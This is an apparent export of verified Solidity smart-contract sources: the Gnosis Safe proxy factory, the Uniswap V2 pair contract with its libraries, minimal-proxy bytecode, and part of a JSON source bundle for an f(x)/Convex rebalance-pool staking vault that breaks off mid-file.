/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,381 |
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|
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|
c1366908b8ea71fefae7413390b9ba8ca88b535b
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
1 | 19,502,384 |
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|
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|
3d602d80600a3d3981f3363d3d373d3d3d363d73d6da2a43ded6fc647aa5fb526e96b1f37c24cea85af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73d6da2a43ded6fc647aa5fb526e96b1f37c24cea85af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/boosting/StakingProxyRebalancePool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"./StakingProxyBase.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxUsd.sol\";\nimport \"../interfaces/IFxFacetV2.sol\";\nimport '@openzeppelin/contracts/security/ReentrancyGuard.sol';\n\n/*\nVault implementation for rebalance pool gauges\n\nThis should mostly act like a normal erc20 vault with the exception that\nfxn is not minted directly and is rather passed in via the extra rewards route.\nThus automatic redirect must be turned off and processed locally from the vault.\n*/\ncontract StakingProxyRebalancePool is StakingProxyBase, ReentrancyGuard{\n using SafeERC20 for IERC20;\n\n address public constant fxusd = address(0x085780639CC2cACd35E474e71f4d000e2405d8f6); \n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter) \n StakingProxyBase(_poolRegistry, _feeRegistry, _fxnminter){\n }\n\n //vault type\n function vaultType() external pure override returns(VaultType){\n return VaultType.RebalancePool;\n }\n\n //vault version\n function vaultVersion() external pure override returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public override{\n super.initialize(_owner, _pid);\n\n //set infinite approval\n IERC20(stakingToken).approve(gaugeAddress, type(uint256).max);\n }\n\n\n //deposit into rebalance pool with ftoken\n function deposit(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull ftokens from user\n IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake\n IFxnGauge(gaugeAddress).deposit(_amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with fxusd\n function depositFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull fxusd from user\n IERC20(fxusd).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake using fxusd's earn function\n IFxUsd(fxusd).earn(gaugeAddress, _amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with base\n function depositBase(uint256 _amount, uint256 _minAmountOut) external onlyOwner nonReentrant{\n if(_amount > 0){\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n\n //pull base from user\n IERC20(_baseToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n IERC20(_baseToken).approve(fxusd, _amount);\n //stake using fxusd's earn function\n IFxUsd(fxusd).mintAndEarn(gaugeAddress, _amount, address(this), _minAmountOut);\n\n //return left over\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return ftoken\n function withdraw(uint256 _amount) external onlyOwner nonReentrant{\n\n //withdraw ftoken directly to owner\n IFxnGauge(gaugeAddress).withdraw(_amount, owner);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return fxusd\n function withdrawFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n\n //wrap to fxusd and receive at owner(msg.sender)\n IFxUsd(fxusd).wrapFrom(gaugeAddress, _amount, msg.sender);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw from rebalance pool(v2) and return underlying base\n function withdrawAsBase(uint256 _amount, address _fxfacet, address _fxconverter) external onlyOwner nonReentrant{\n\n //withdraw from rebase pool as underlying\n IFxFacetV2.ConvertOutParams memory params = IFxFacetV2.ConvertOutParams(_fxconverter,0,new uint256[](0));\n IFxFacetV2(_fxfacet).fxRebalancePoolWithdrawAs(params, gaugeAddress, _amount);\n\n //return left over\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //return earned tokens on staking contract and any tokens that are on this vault\n function earned() external override returns (address[] memory token_addresses, uint256[] memory total_earned) {\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //create array of rewards on gauge, rewards on extra reward contract, and fxn that is minted\n address _rewards = rewards;\n token_addresses = new address[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n total_earned = new uint256[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n\n //simulate claiming\n\n //claim other rewards on gauge to this address to tally\n IFxnGauge(gaugeAddress).claim(address(this),address(this));\n\n //get balance of tokens\n for(uint256 i = 0; i < rewardTokens.length; i++){\n token_addresses[i] = rewardTokens[i];\n if(rewardTokens[i] == fxn){\n //remove boost fee here as boosted fxn is distributed via extra rewards\n total_earned[i] = IERC20(fxn).balanceOf(address(this)) * (FEE_DENOMINATOR - IFeeRegistry(feeRegistry).totalFees()) / FEE_DENOMINATOR;\n }else{\n total_earned[i] = IERC20(rewardTokens[i]).balanceOf(address(this));\n }\n }\n\n //also add an extra rewards from convex's side\n IRewards.EarnedData[] memory extraRewards = IRewards(_rewards).claimableRewards(address(this));\n for(uint256 i = 0; i < extraRewards.length; i++){\n token_addresses[i+rewardTokens.length] = extraRewards[i].token;\n total_earned[i+rewardTokens.length] = extraRewards[i].amount;\n }\n }\n\n /*\n claim flow:\n mint fxn rewards directly to vault\n claim extra rewards directly to the owner\n calculate fees on fxn\n distribute fxn between owner and fee deposit\n */\n function getReward() external override{\n getReward(true);\n }\n\n //get reward with claim option.\n function getReward(bool _claim) public override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewards();\n }\n\n //get reward with claim option, as well as a specific token list to claim from convex extra rewards\n function getReward(bool _claim, address[] calldata _tokenList) external override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewardsFilter(_tokenList);\n }\n\n //return any tokens in vault back to owner\n function transferTokens(address[] calldata _tokenList) external onlyOwner{\n //transfer tokens back to owner\n //fxn and gauge tokens are skipped\n _transferTokens(_tokenList);\n }\n\n\n function _checkExecutable(address _address) internal override{\n super._checkExecutable(_address);\n\n //require shutdown for calls to withdraw role contracts\n if(IFxUsd(gaugeAddress).hasRole(keccak256(\"WITHDRAW_FROM_ROLE\"), _address)){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n }\n}\n"
},
"/contracts/interfaces/IRewards.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IRewards{\n struct EarnedData {\n address token;\n uint256 amount;\n }\n enum RewardState{\n NotInitialized,\n NoRewards,\n Active\n }\n \n function initialize(uint256 _pid, bool _startActive) external;\n function addReward(address _rewardsToken, address _distributor) external;\n function approveRewardDistributor(\n address _rewardsToken,\n address _distributor,\n bool _approved\n ) external;\n function deposit(address _owner, uint256 _amount) external;\n function withdraw(address _owner, uint256 _amount) external;\n function getReward(address _forward) external;\n function getRewardFilter(address _forward, address[] calldata _tokens) external;\n function notifyRewardAmount(address _rewardsToken, uint256 _reward) external;\n function balanceOf(address account) external view returns (uint256);\n function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards);\n function rewardTokens(uint256 _rid) external view returns (address);\n function rewardTokenLength() external view returns(uint256);\n function rewardState() external view returns(RewardState);\n}"
},
"/contracts/interfaces/IProxyVault.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IProxyVault {\n\n enum VaultType{\n Erc20Basic,\n RebalancePool\n }\n\n function vaultType() external view returns(VaultType);\n function vaultVersion() external view returns(uint256);\n function initialize(address _owner, uint256 _pid) external;\n function pid() external returns(uint256);\n function usingProxy() external returns(address);\n function owner() external returns(address);\n function gaugeAddress() external returns(address);\n function stakingToken() external returns(address);\n function rewards() external returns(address);\n function getReward() external;\n function getReward(bool _claim) external;\n function getReward(bool _claim, address[] calldata _rewardTokenList) external;\n function earned() external returns (address[] memory token_addresses, uint256[] memory total_earned);\n}"
},
"/contracts/interfaces/IPoolRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IPoolRegistry {\n function poolLength() external view returns(uint256);\n function poolInfo(uint256 _pid) external view returns(address, address, address, address, uint8);\n function vaultMap(uint256 _pid, address _user) external view returns(address vault);\n function addUserVault(uint256 _pid, address _user) external returns(address vault, address stakeAddress, address stakeToken, address rewards);\n function deactivatePool(uint256 _pid) external;\n function addPool(address _implementation, address _stakingAddress, address _stakingToken) external;\n function setRewardActiveOnCreation(bool _active) external;\n function setRewardImplementation(address _imp) external;\n}"
},
"/contracts/interfaces/IFxnTokenMinter.sol": {
